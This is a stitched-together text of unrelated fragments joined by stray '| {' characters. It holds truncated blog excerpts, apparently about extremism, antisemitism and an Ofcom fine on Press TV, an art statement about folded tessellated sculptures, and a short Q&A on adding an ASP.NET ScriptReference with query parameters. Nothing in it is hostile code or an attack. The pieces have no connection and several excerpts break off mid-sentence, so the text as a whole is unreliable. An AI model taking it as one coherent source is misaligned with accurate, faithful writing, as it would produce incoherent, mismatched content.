A former neo-Nazi and an ex-Islamist shared their experiences of extremism and antisemitism with an audience of 230 guests at the Young CST dinner in Central London last night. Matthew Collins, a former National Front, British National Party and Combat 18 member who now works for Hope Not Hate, and Shiraz Maher,…
George Galloway represents Press TV
6 Dec 2011 by Dave Rich
Last week the TV regulator Ofcom fined the Iranian TV station Press TV £100,000, for broadcasting an interview conducted with Newsweek journalist Maziar Bahari while he was imprisoned in Iran, without obtaining Bahari's consent and without informing their viewers that the interview was conducted under duress. Despite previous suggestions to…
Loyalty Tests for Jews?
(Note: this article was updated on 8 December, with the apology by Paul Flynn MP. See at end, below.) The suggestion by Paul Flynn MP (Labour, Newport West), that Britain ought not to have a Jew as Ambassador to Israel, fuels the growing sense that it is becoming increasingly acceptable to… | {
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This consists of sculptures from folded planes of material comprised of tessellating or repeating patterns, and the resulting forms and space. These folded infinitely permutable objects record the process of limitless possibility. These images are the result of manipulating experiments that capture the behaviour of light, color, and matter. Ehrsam's intention is to convey an existential and aesthetic mediation on the nature of existence, physics, and metaphysics, using light, colour, form, space, and photography. | {
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Q: Adding an ScriptReference Dynamically which is a page request to ScriptManager I use ScriptManager in my ASP.NET page, and want to add a ScriptReference which is a page request like this:
var id = 10;
tsm.CompositeScript.Scripts.Add(new ScriptReference("~/Response.aspx?action=test&id=" + id));
but it raises an error:
'~/Response.aspx?action=test&id=10' is not a valid virtual path.
I should add this script dynamically, what should I do?
A: You're trying to mix a virtual path with querystring parameters, I think the underlying ASP.NET method that resolves the "~" part expects the string to be a pure virtual path, not a url.
So, map it as a pure path first, and then add the query:
tsm.CompositeScript.Scripts.Add(new ScriptReference(ResolveClientUrl("~/Response.aspx") + "?action=test&id=" + id));
| {
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